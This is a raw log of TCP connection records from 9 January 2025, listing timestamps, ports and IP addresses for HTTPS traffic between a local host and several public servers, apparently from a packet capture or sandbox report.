Jan 9, 2025 04:28:32.591428995 CET	443	49716	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.591456890 CET	49716	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.591483116 CET	49716	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.591784000 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.591814041 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.591882944 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.592163086 CET	49715	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.592175961 CET	49715	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.592200041 CET	49715	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.592237949 CET	443	49715	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.592283964 CET	49715	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.592398882 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.592444897 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.592489958 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.592688084 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.592700005 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.592766047 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.592776060 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.592917919 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.592932940 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.634638071 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.735555887 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.735605001 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.735635996 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.735660076 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.735677958 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.735691071 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.735712051 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.735733032 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.735749960 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.736006021 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.736084938 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.736136913 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.736143112 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.741961002 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.741987944 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.742048979 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.742058992 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.742363930 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.854394913 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.854449987 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.854561090 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.854583979 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.854898930 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.854928970 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.854952097 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.854959011 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.855000019 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.855005026 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.855887890 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.855916023 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.855943918 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.855950117 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.855987072 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.856000900 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.856859922 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.856898069 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.856903076 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.856909037 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.856940031 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.856949091 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.856952906 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.856987953 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.856992960 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.857882023 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.857914925 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.857954025 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.857963085 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.857969046 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.857994080 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.858778954 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.858809948 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.858864069 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.858870029 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.859009027 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.859059095 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.859169960 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.859186888 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:33.062848091 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.063056946 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.063116074 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.063141108 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.063297033 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.063332081 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.064141989 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.064196110 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.064316988 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.064373016 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.065272093 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.065325022 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.065623999 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.065673113 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.065756083 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.065763950 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.078860044 CET	49720	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:28:33.078892946 CET	443	49720	142.250.181.228	192.168.2.5
Jan 9, 2025 04:28:33.078952074 CET	49720	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:28:33.079170942 CET	49720	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:28:33.079183102 CET	443	49720	142.250.181.228	192.168.2.5
Jan 9, 2025 04:28:33.114798069 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.114799976 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.114805937 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.161964893 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.545442104 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.545540094 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.545567036 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.545591116 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.545619011 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.545659065 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.545667887 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.545816898 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.545859098 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.545867920 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.550220013 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.550254107 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.550290108 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.550297976 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.550327063 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.550340891 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.550348043 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.550383091 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.634650946 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.634710073 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.634741068 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.634783983 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.634809971 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.634848118 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.634864092 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.634911060 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.635240078 CET	49718	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:33.635255098 CET	443	49718	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:33.648737907 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:33.648775101 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:33.648840904 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:33.649032116 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:33.649048090 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:33.650062084 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:33.650091887 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:33.650146008 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:33.650372028 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:33.650382996 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:33.652033091 CET	49723	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:33.652075052 CET	443	49723	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:33.652129889 CET	49723	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:33.652307034 CET	49723	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:33.652322054 CET	443	49723	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:33.741513014 CET	443	49720	142.250.181.228	192.168.2.5
Jan 9, 2025 04:28:33.741780996 CET	49720	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:28:33.741801023 CET	443	49720	142.250.181.228	192.168.2.5
Jan 9, 2025 04:28:33.742876053 CET	443	49720	142.250.181.228	192.168.2.5
Jan 9, 2025 04:28:33.742942095 CET	49720	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:28:33.743936062 CET	49720	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:28:33.744024992 CET	443	49720	142.250.181.228	192.168.2.5
Jan 9, 2025 04:28:33.789236069 CET	49720	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:28:33.789254904 CET	443	49720	142.250.181.228	192.168.2.5
Jan 9, 2025 04:28:33.835330963 CET	49720	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:28:34.114579916 CET	443	49723	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.115483046 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.126604080 CET	49723	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.126667976 CET	443	49723	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.126740932 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.126764059 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.127918959 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.127979994 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.129339933 CET	443	49723	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.129395962 CET	49723	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.131388903 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.136420012 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.136502028 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.136610031 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.136626005 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.136796951 CET	49723	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.137006998 CET	443	49723	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.137217999 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.137232065 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.137357950 CET	49723	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.137363911 CET	443	49723	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.137650013 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.137711048 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.143567085 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.143696070 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.143704891 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.143781900 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.180239916 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.180361986 CET	49723	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.195235968 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.195259094 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.233726025 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.233778000 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.233807087 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.233818054 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.233844042 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.233884096 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.233892918 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.233953953 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.233988047 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.233995914 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.234003067 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.234035969 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.234044075 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.234765053 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.234796047 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.234817028 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.234826088 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.234869003 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.240138054 CET	443	49723	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.240423918 CET	443	49723	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.240470886 CET	49723	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.241019011 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.248277903 CET	49723	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.248306990 CET	443	49723	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.254204988 CET	49725	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.254254103 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.254304886 CET	49725	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.254554987 CET	49725	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.254570961 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.286967039 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.287019968 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.287028074 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.287056923 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.287070990 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.287092924 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.287105083 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.287666082 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.287714005 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.287727118 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.288028955 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.288080931 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.288089991 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.291760921 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.291785002 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.291806936 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.291809082 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.291821957 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.291852951 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.323450089 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.323461056 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.323503017 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.323529005 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.323610067 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.323630095 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.323653936 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.325236082 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.325254917 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.325298071 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.325315952 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.325347900 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.325367928 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.335700989 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.404165030 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.404823065 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.404850960 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.404870033 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.404880047 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.404901028 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.404920101 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.405069113 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.405107975 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.405122042 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.405587912 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.405607939 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.405627012 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.405636072 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.405670881 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.406044960 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.406084061 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.406126976 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.406136036 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.406603098 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.406650066 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.406663895 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.406667948 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.406681061 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.406704903 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.406783104 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.406810999 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.406836987 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.406848907 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.406879902 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.406887054 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.407653093 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.407670975 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.407696009 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.407701969 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.407712936 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.407741070 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.407782078 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.407836914 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.408265114 CET	49722	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:34.408281088 CET	443	49722	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:34.417757988 CET	49727	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:34.417805910 CET	443	49727	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:34.417880058 CET	49727	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:34.418091059 CET	49727	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:34.418108940 CET	443	49727	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:34.431663036 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.431675911 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.431734085 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.431760073 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.431772947 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.431797981 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.433051109 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.433073997 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.433105946 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.433116913 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.433161020 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.433890104 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.433953047 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.433959961 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.433986902 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.434035063 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.434402943 CET	49721	443	192.168.2.5	151.101.130.137
Jan 9, 2025 04:28:34.434417963 CET	443	49721	151.101.130.137	192.168.2.5
Jan 9, 2025 04:28:34.447583914 CET	49728	443	192.168.2.5	151.101.2.137
Jan 9, 2025 04:28:34.447609901 CET	443	49728	151.101.2.137	192.168.2.5
Jan 9, 2025 04:28:34.447659969 CET	49728	443	192.168.2.5	151.101.2.137
Jan 9, 2025 04:28:34.447977066 CET	49728	443	192.168.2.5	151.101.2.137
Jan 9, 2025 04:28:34.447988987 CET	443	49728	151.101.2.137	192.168.2.5
Jan 9, 2025 04:28:34.709327936 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.712680101 CET	49725	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.712711096 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.713167906 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.713715076 CET	49725	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.713804007 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.714118958 CET	49725	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.755337954 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.864434004 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.864480019 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.864515066 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.864553928 CET	49725	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.864584923 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.865262985 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.865298033 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.865324020 CET	49725	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.865334988 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.865348101 CET	49725	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.865417957 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.865459919 CET	49725	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:34.865461111 CET	443	49725	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:34.865477085 CET	443	49725	104.18.95.41	192.168.2.5
